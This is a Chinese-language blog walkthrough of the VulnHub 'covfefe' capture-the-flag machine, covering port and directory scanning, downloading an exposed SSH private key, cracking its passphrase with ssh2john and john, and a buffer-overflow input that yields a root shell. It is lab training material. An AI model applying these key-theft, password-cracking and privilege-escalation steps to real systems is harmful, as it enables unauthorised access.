综合实战第一章-私钥泄露实战


综合实战第一章

私钥泄露实战

环境准备

本次环境使用的是vulnhub靶场里面的covfefe

靶场下载地址:https://www.vulnhub.com/entry/covfefe-1,199/

攻击机:kali 192.168.3.134

靶机:covfefe 192.168.3.152

信息搜集

先确定目标靶机

扫描整个网段

nmap -sT 192.168.3.0/24

image-20220423102139037

找到目标,发现有三个端口,22 80 31337

image-20220423102356900

先访问80端口

image-20220423102552747

没啥东西,访问31337端口尝试一下

image-20220423102623508

啥也没有,使用工具dirb扫描一下

DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。

dirb http://192.168.3.152:31337

image-20220423102857109

打开robots.txt 查看一下

image-20220423103031949

访问一下/taxes

image-20220423103110390

第一个flag就得到了

ssh私钥登录

访问.ssh文件

image-20220423103429107

说明私钥泄露了

然后把这三个文件下载下来

/.ssh/id_rsa    /.ssh/authorized_keys   /.ssh/id_rsa.pub

image-20220423103643168

给这三个文件加点权限

chmod 600 id_rsa

然后在authorized_keys里发现有个用户名叫simon的

image-20220423104702375

尝试使用ssh登录

ssh -i id_rsa simon@192.168.3.152

image-20220423105121494

发需要一个密码

解密ssh秘钥信息

利用ssh2john将id_rsa秘钥信息转换为john可以识别的信息

python /usr/share/john/ssh2john.py id_rsa > rsacrack 

然后使用字典破解

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

image-20220423110016931

发现密码是starwars

尝试登录

image-20220423110137271

登录成功

提权

我们在root目录下发现有flag.txt,但是无法读取,因此需要提权

首先查找能够用root权限去执行哪些东西

find / -perm -4000 2>/dev/null

image-20220423110416933

发现root里面有个read_message.c文件

接下来审计这个文件

image-20220423110636172

在注释中发现flag2

缓冲区溢出

对代码进行审计

我们发现输入的值是保存在buf里,如果这个值的前5个字是Simon,就返回正确

因此输入的值超过20个,20个之后的就会被execve调用,就可以实现缓冲区溢出

获得flag

SimonAAAAAAAAAAAAAAA/bin/sh
pwd
whoami
cat flag.txt

image-20220423111248490

成功!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录